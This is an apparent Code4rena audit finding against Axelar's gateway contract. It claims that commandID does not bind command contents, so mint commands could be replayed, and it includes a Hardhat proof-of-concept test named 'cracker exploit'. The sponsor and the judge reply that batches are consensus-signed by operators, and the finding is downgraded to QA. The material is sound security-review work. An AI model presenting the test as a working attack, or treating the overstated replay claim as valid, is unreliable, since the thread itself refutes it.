Axelar Network v2 contest - Twpony's results

Decentralized interoperability network.

General Information

Platform: Code4rena

Start Date: 29/07/2022

Pot Size: $50,000 USDC

Total HM: 6

Participants: 75

Period: 5 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 149

League: ETH

Axelar Network

Findings Distribution

Researcher Performance

Rank: 62/75

Findings: 1

Award: $56.13

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/AxelarGateway.sol#L262 https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/AxelarGateway.sol#L295

Vulnerability details

Impact

commandID is used to prevent replicated trades, but commandID is not equal to command and command's parameters. It is not possible to prevent repeat trades by commandID.

So different commandIDs can be the same commands, the execute() function has great risk of allowing any user to execute the same trade without any restrictions.

Proof of Concept

let cracker = wallets[10]; 

describe('batch commands', () => {
    it('cracker exploit', async () => {
        const name = 'ABCcoin';
        const symbol = 'ABC';
        const decimals = 8;
        const cap = 2100000000;
        const amount1 = 10000;

        const data = buildCommandBatch(
            CHAIN_ID,
            [getRandomID(), getRandomID(), getRandomID(), getRandomID(), getRandomID()],
            ['deployToken', 'mintToken', 'mintToken', 'mintToken', 'mintToken'],
            [
                getDeployCommand(name, symbol, decimals, cap, ADDRESS_ZERO, 0),
                getMintCommand(symbol, cracker.address, amount1),
                getMintCommand(symbol, cracker.address, amount1),
                getMintCommand(symbol, cracker.address, amount1),
                getMintCommand(symbol, cracker.address, amount1),
            ],
        );

        const input = await getSignedWeightedExecuteInput(
            data,
            operators,
            getWeights(operators),
            threshold,
            operators.slice(0, threshold),
        );

        const tx = await gateway.connect(cracker).execute(input);

        const tokenAddress = await gateway.tokenAddresses(symbol);

        const token = burnableMintableCappedERC20Factory.attach(tokenAddress);

        const values = await Promise.all([
            token.name(),
            token.symbol(),
            token.decimals(),
            token.cap().then(bigNumberToNumber),
            token.balanceOf(cracker.address).then(bigNumberToNumber),
        ]);

        console.log("Cracker Addres is: ", cracker.address);
        console.log("Cracker Address balanceOf is: ", await token.balanceOf(cracker.address));

    });
});

I have written a replicated trade test by hardhat. The cracker calls four same commandsgetMintCommand(symbol, cracker.address, amount1) in the executes(), although the four commands have different commandIds. In fact, here is just an example, the cracker can execute any amount of the same commands as he wants.

It is very dangerous for execute() which allows anyone to execute the same trade any times without restrictions.

Tools Used

Hardhat

Do not just check commandId, it is needed to check commands and params to prevent replicated trades.

#0 - re1ro

2022-08-23T00:33:36Z

CommandID and execution batch contents are determined via Tendermint consensus on Axelar network. Then batch is signed with their private keys and signatures are validated in the gateway. Users can't just submit commands to the execute() method

#1 - GalloDaSballo

2022-09-04T21:43:30Z

The warden has shown how the code is not producing sufficient validation, because the code is for a Cosmos SDK contract, then callers will need to be trusted, for that reason no "arbitrary code execution" is possible

I will downgrade the report to QA and mark it as a valid "Lack of Checks" as the statement that CommandID doesn't necessarily represent the contents of the command is correct

However because of the permissioned nature of the system, no higher severity vulnerability was demonstrated via this report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter